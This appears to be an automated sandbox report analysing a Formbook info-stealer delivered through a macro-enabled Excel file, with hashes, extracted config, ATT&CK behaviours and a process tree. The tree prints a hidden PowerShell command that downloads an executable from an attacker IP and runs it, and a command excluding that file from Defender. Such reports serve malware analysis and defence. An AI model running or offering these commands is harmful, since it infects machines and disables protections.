formbook | 54929de588e37191bfc6dd0bf4f3edc1fca58c67af0e6bc7b1bd15a66d8c1bf0

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
04-09-2024 14:38

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General

Target

SOAPO8829921199.xlsm
Size

165KB
MD5

c0a096ce5928bce34fffd5874093f235
SHA1

971a8fbd841e42dcab84288205525b89301825c2
SHA256

54929de588e37191bfc6dd0bf4f3edc1fca58c67af0e6bc7b1bd15a66d8c1bf0
SHA512

9d7c5aaf2fe546422ff3379169909929ec50f6eebba27d527178066c943ea2973a72c7501202b9502c8ccd646dfe6b49c1194c34b8f9822404bf1fad6971eb61
SSDEEP

3072:BJNjJehd8PiRjkctohQQRBK0BvyixmZ49ke+jJLNkYa6+Rc64d:BJN06iactuRbB6M9+1GYaza64d

Score

10^/10

formbook t20u discovery execution rat spyware stealer trojan

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

t20u

Decoy

ecurity-jobs-ne-00989.bond

ameuniverse.shop

sychologist-therapy-33393.bond

refabricated-homes-33099.bond

urltheswirl.live

reengroce.online

cknowledgewizardinter14.sbs

excasino.club

931.bet

ilehog.net

olorandbrush.net

jpbbmr.biz

vtwenty20pt.top

nline-advertising-76521.bond

eavenresidence.net

arodyna.shop

orsi-di-massaggio.bond

est-kids-toys-near-me.today

47-nurse-76671.bond

u-suppr.top

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook

Process spawned unexpected child process 5 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4532	1652	powershell.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4004	1652	powershell.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4368	1652	powershell.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4380	1652	powershell.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4408	1652	powershell.exe	83

Formbook payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/2984-84-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral2/memory/3188-132-0x0000000000A30000-0x0000000000A5F000-memory.dmp	formbook

Blocklisted process makes network request 5 IoCs

flow	pid	Process
53	4532	powershell.exe
55	4004	powershell.exe
56	4368	powershell.exe
57	4380	powershell.exe
62	4408	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4004	powershell.exe
4368	powershell.exe
4380	powershell.exe
4408	powershell.exe
4532	powershell.exe
4876	powershell.exe
3416	powershell.exe
60	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	gvpttllrilhpexthxdz.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	gvpttllrilhpexthxdz.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	gvpttllrilhpexthxdz.exe

Executes dropped EXE 8 IoCs

pid	Process
1660	gvpttllrilhpexthxdz.exe
1492	gvpttllrilhpexthxdz.exe
2984	gvpttllrilhpexthxdz.exe
3328	gvpttllrilhpexthxdz.exe
3900	gvpttllrilhpexthxdz.exe
1852	gvpttllrilhpexthxdz.exe
4516	gvpttllrilhpexthxdz.exe
2788	gvpttllrilhpexthxdz.exe

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 1660 set thread context of 2984	1660	gvpttllrilhpexthxdz.exe	104
PID 2984 set thread context of 3424	2984	gvpttllrilhpexthxdz.exe	55
PID 3188 set thread context of 3424	3188	wlanext.exe	55
PID 1492 set thread context of 3900	1492	gvpttllrilhpexthxdz.exe	114
PID 3900 set thread context of 3424	3900	gvpttllrilhpexthxdz.exe	55
PID 3328 set thread context of 4516	3328	gvpttllrilhpexthxdz.exe	121
PID 4516 set thread context of 3424	4516	gvpttllrilhpexthxdz.exe	55

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gvpttllrilhpexthxdz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gvpttllrilhpexthxdz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gvpttllrilhpexthxdz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wlanext.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msdt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gvpttllrilhpexthxdz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gvpttllrilhpexthxdz.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1924	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 44 IoCs

pid	Process
4532	powershell.exe
4532	powershell.exe
4004	powershell.exe
4004	powershell.exe
2984	gvpttllrilhpexthxdz.exe
2984	gvpttllrilhpexthxdz.exe
2984	gvpttllrilhpexthxdz.exe
2984	gvpttllrilhpexthxdz.exe
4876	powershell.exe
4876	powershell.exe
3188	wlanext.exe
3188	wlanext.exe
3188	wlanext.exe
3188	wlanext.exe
4368	powershell.exe
4368	powershell.exe
3900	gvpttllrilhpexthxdz.exe
3900	gvpttllrilhpexthxdz.exe
3900	gvpttllrilhpexthxdz.exe
3900	gvpttllrilhpexthxdz.exe
3416	powershell.exe
3416	powershell.exe
4772	msdt.exe
4772	msdt.exe
3188	wlanext.exe
3188	wlanext.exe
3188	wlanext.exe
3188	wlanext.exe
4380	powershell.exe
4380	powershell.exe
4516	gvpttllrilhpexthxdz.exe
4516	gvpttllrilhpexthxdz.exe
4516	gvpttllrilhpexthxdz.exe
4516	gvpttllrilhpexthxdz.exe
60	powershell.exe
60	powershell.exe
3188	wlanext.exe
3188	wlanext.exe
3092	help.exe
3092	help.exe
3188	wlanext.exe
3188	wlanext.exe
4408	powershell.exe
4408	powershell.exe

Suspicious behavior: MapViewOfSection 11 IoCs

pid	Process
2984	gvpttllrilhpexthxdz.exe
2984	gvpttllrilhpexthxdz.exe
2984	gvpttllrilhpexthxdz.exe
3188	wlanext.exe
3188	wlanext.exe
3900	gvpttllrilhpexthxdz.exe
3900	gvpttllrilhpexthxdz.exe
3900	gvpttllrilhpexthxdz.exe
4516	gvpttllrilhpexthxdz.exe
4516	gvpttllrilhpexthxdz.exe
4516	gvpttllrilhpexthxdz.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4532	powershell.exe
Token: SeDebugPrivilege	4004	powershell.exe
Token: SeDebugPrivilege	2984	gvpttllrilhpexthxdz.exe
Token: SeDebugPrivilege	4876	powershell.exe
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeDebugPrivilege	3188	wlanext.exe
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeDebugPrivilege	4368	powershell.exe
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeDebugPrivilege	3900	gvpttllrilhpexthxdz.exe
Token: SeDebugPrivilege	3416	powershell.exe
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeDebugPrivilege	4772	msdt.exe
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeDebugPrivilege	4380	powershell.exe
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeDebugPrivilege	4516	gvpttllrilhpexthxdz.exe
Token: SeDebugPrivilege	60	powershell.exe
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE
Token: SeShutdownPrivilege	3424	Explorer.EXE
Token: SeCreatePagefilePrivilege	3424	Explorer.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1924	EXCEL.EXE
1924	EXCEL.EXE

Suspicious use of SetWindowsHookEx 22 IoCs

pid	Process
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE
1924	EXCEL.EXE

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3424	Explorer.EXE

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 1924 wrote to memory of 3596	1924	EXCEL.EXE	85
PID 1924 wrote to memory of 3596	1924	EXCEL.EXE	85
PID 4532 wrote to memory of 1660	4532	powershell.exe	99
PID 4532 wrote to memory of 1660	4532	powershell.exe	99
PID 4532 wrote to memory of 1660	4532	powershell.exe	99
PID 4004 wrote to memory of 1492	4004	powershell.exe	102
PID 4004 wrote to memory of 1492	4004	powershell.exe	102
PID 4004 wrote to memory of 1492	4004	powershell.exe	102
PID 1660 wrote to memory of 4876	1660	gvpttllrilhpexthxdz.exe	103
PID 1660 wrote to memory of 4876	1660	gvpttllrilhpexthxdz.exe	103
PID 1660 wrote to memory of 4876	1660	gvpttllrilhpexthxdz.exe	103
PID 1660 wrote to memory of 2984	1660	gvpttllrilhpexthxdz.exe	104
PID 1660 wrote to memory of 2984	1660	gvpttllrilhpexthxdz.exe	104
PID 1660 wrote to memory of 2984	1660	gvpttllrilhpexthxdz.exe	104
PID 1660 wrote to memory of 2984	1660	gvpttllrilhpexthxdz.exe	104
PID 1660 wrote to memory of 2984	1660	gvpttllrilhpexthxdz.exe	104
PID 1660 wrote to memory of 2984	1660	gvpttllrilhpexthxdz.exe	104
PID 3424 wrote to memory of 3188	3424	Explorer.EXE	106
PID 3424 wrote to memory of 3188	3424	Explorer.EXE	106
PID 3424 wrote to memory of 3188	3424	Explorer.EXE	106
PID 3188 wrote to memory of 436	3188	wlanext.exe	107
PID 3188 wrote to memory of 436	3188	wlanext.exe	107
PID 3188 wrote to memory of 436	3188	wlanext.exe	107
PID 4368 wrote to memory of 3328	4368	powershell.exe	111
PID 4368 wrote to memory of 3328	4368	powershell.exe	111
PID 4368 wrote to memory of 3328	4368	powershell.exe	111
PID 1492 wrote to memory of 3416	1492	gvpttllrilhpexthxdz.exe	112
PID 1492 wrote to memory of 3416	1492	gvpttllrilhpexthxdz.exe	112
PID 1492 wrote to memory of 3416	1492	gvpttllrilhpexthxdz.exe	112
PID 1492 wrote to memory of 3900	1492	gvpttllrilhpexthxdz.exe	114
PID 1492 wrote to memory of 3900	1492	gvpttllrilhpexthxdz.exe	114
PID 1492 wrote to memory of 3900	1492	gvpttllrilhpexthxdz.exe	114
PID 1492 wrote to memory of 3900	1492	gvpttllrilhpexthxdz.exe	114
PID 1492 wrote to memory of 3900	1492	gvpttllrilhpexthxdz.exe	114
PID 1492 wrote to memory of 3900	1492	gvpttllrilhpexthxdz.exe	114
PID 3424 wrote to memory of 4772	3424	Explorer.EXE	115
PID 3424 wrote to memory of 4772	3424	Explorer.EXE	115
PID 3424 wrote to memory of 4772	3424	Explorer.EXE	115
PID 4380 wrote to memory of 1852	4380	powershell.exe	118
PID 4380 wrote to memory of 1852	4380	powershell.exe	118
PID 4380 wrote to memory of 1852	4380	powershell.exe	118
PID 3328 wrote to memory of 60	3328	gvpttllrilhpexthxdz.exe	119
PID 3328 wrote to memory of 60	3328	gvpttllrilhpexthxdz.exe	119
PID 3328 wrote to memory of 60	3328	gvpttllrilhpexthxdz.exe	119
PID 3328 wrote to memory of 4516	3328	gvpttllrilhpexthxdz.exe	121
PID 3328 wrote to memory of 4516	3328	gvpttllrilhpexthxdz.exe	121
PID 3328 wrote to memory of 4516	3328	gvpttllrilhpexthxdz.exe	121
PID 3328 wrote to memory of 4516	3328	gvpttllrilhpexthxdz.exe	121
PID 3328 wrote to memory of 4516	3328	gvpttllrilhpexthxdz.exe	121
PID 3328 wrote to memory of 4516	3328	gvpttllrilhpexthxdz.exe	121
PID 3424 wrote to memory of 3092	3424	Explorer.EXE	122
PID 3424 wrote to memory of 3092	3424	Explorer.EXE	122
PID 3424 wrote to memory of 3092	3424	Explorer.EXE	122
PID 4408 wrote to memory of 2788	4408	powershell.exe	125
PID 4408 wrote to memory of 2788	4408	powershell.exe	125
PID 4408 wrote to memory of 2788	4408	powershell.exe	125

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3424
- C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SOAPO8829921199.xlsm"
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows\splwow64.exe
    C:\Windows\splwow64.exe 12288
    3⤵
    PID:3596
- C:\Windows\SysWOW64\wlanext.exe
  "C:\Windows\SysWOW64\wlanext.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3188
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Users\Public\gvpttllrilhpexthxdz.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:436
- C:\Windows\SysWOW64\msdt.exe
  "C:\Windows\SysWOW64\msdt.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4772
- C:\Windows\SysWOW64\help.exe
  "C:\Windows\SysWOW64\help.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4532
- C:\Users\Public\gvpttllrilhpexthxdz.exe
  "C:\Users\Public\gvpttllrilhpexthxdz.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1660
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\gvpttllrilhpexthxdz.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4876
- - C:\Users\Public\gvpttllrilhpexthxdz.exe
    "C:\Users\Public\gvpttllrilhpexthxdz.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    PID:2984

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4004
- C:\Users\Public\gvpttllrilhpexthxdz.exe
  "C:\Users\Public\gvpttllrilhpexthxdz.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\gvpttllrilhpexthxdz.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3416
- - C:\Users\Public\gvpttllrilhpexthxdz.exe
    "C:\Users\Public\gvpttllrilhpexthxdz.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    PID:3900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4368
- C:\Users\Public\gvpttllrilhpexthxdz.exe
  "C:\Users\Public\gvpttllrilhpexthxdz.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3328
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\gvpttllrilhpexthxdz.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:60
- - C:\Users\Public\gvpttllrilhpexthxdz.exe
    "C:\Users\Public\gvpttllrilhpexthxdz.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    PID:4516

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4380
- C:\Users\Public\gvpttllrilhpexthxdz.exe
  "C:\Users\Public\gvpttllrilhpexthxdz.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1852

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command " & { iwr http://45.137.22.181/localsecurrity.exe -OutFile C:\Users\Public\gvpttllrilhpexthxdz.exe}; & {Start-Process -FilePath "C:\Users\Public\gvpttllrilhpexthxdz.exe"}"
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4408
- C:\Users\Public\gvpttllrilhpexthxdz.exe
  "C:\Users\Public\gvpttllrilhpexthxdz.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\gvpttllrilhpexthxdz.exe.log

Filesize
1KB

MD5
8ec831f3e3a3f77e4a7b9cd32b48384c

SHA1
d83f09fd87c5bd86e045873c231c14836e76a05c

SHA256
7667e538030e3f8ce2886e47a01af24cb0ea70528b1e821c5d8832c5076cb982

SHA512
26bffa2406b66368bd412bf25869a792631455645992cdcade2dbc13a2e56fb546414a6a9223b94c96c38d89187add6678d4779a88b38b0c9e36be8527b213c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ef99d6f22775dc9249d2657cdc8a7ae8

SHA1
dd0225436ce908de98f68f10835116a195ec29df

SHA256
2970bb420cbeedbd0eb284a8c5bd2e54013b6c1bea5e495669bb52f44bf00f14

SHA512
b652a46f0866f21fa96666ac547fddd99d23813f7b4757eb9604dd68ae49230d46e85dbc9ca4062ea194fc20cfd7e340cf0324bf2fa0c7d00f74b5c30b41810e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
e85a2d699fbb1b027466408573af7e61

SHA1
4d308696ffbb9443ab3761d19a3bb843c2f0f78f

SHA256
5767898e869de136988ac2b02fcaca8d1dbbe483cedaa1a2a40159c9703aaaed

SHA512
0908684501bb473bda23a1947838c46cd0ed0fa4ea72bc0b595601c8d6c4b2ac214eec21b5d80c00a50e08e9c09f21df402666cd28d8f2dfad75d3251807bb2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
fbbe616c6563865d0f776ed058aec2c4

SHA1
68a910fa8fad4b21e8cdc0c0263dbef6cadcc268

SHA256
dd1a56d9f57e412134fb8601e43727e06edde336dba81888c6f79828e6c5c0d7

SHA512
6422316dddc9efccb04d1b84f38014e4d565d228f6d7e0e799154ccec8dde7c795270cbb1d37e4a5630f3b61b326cb72771e76ad7dcde0d3e6bfcbe9d8802969

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
2b743a9777c31fef609b23924a4fd6e3

SHA1
4ce2dd3060353affafdb0592b009e69179a8ee84

SHA256
7bd18dce2aa54dfb0e92d21318ee5b522a4de242bacb775b33269863e0bbe677

SHA512
143c9a495e84b51c76e3ad1f733f2e8f3c3ce2e464f7df241c6ed58c4b78fda94e843a13a2b7b8a2ed0696782646ea95f03c04a54fa95b58d4f367e97177d1ff

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
2fe98c0ce21600be76184ae8a3d42147

SHA1
78b876186c687e0c566447912432bc605b0fc9c5

SHA256
b97bc5ffd28b4723f95e14eeb579951cfe19e29bd38c471a0810550a36c0ae4e

SHA512
477f5dc67b7f8431e008b704a4bfea73febda0ed7be1c9ea3431e49e4ad080a700a4a11b17e4c0b69eb17d3243a5dfcf9025565cdc45d9dca1689e06de05c56b

Download Submit
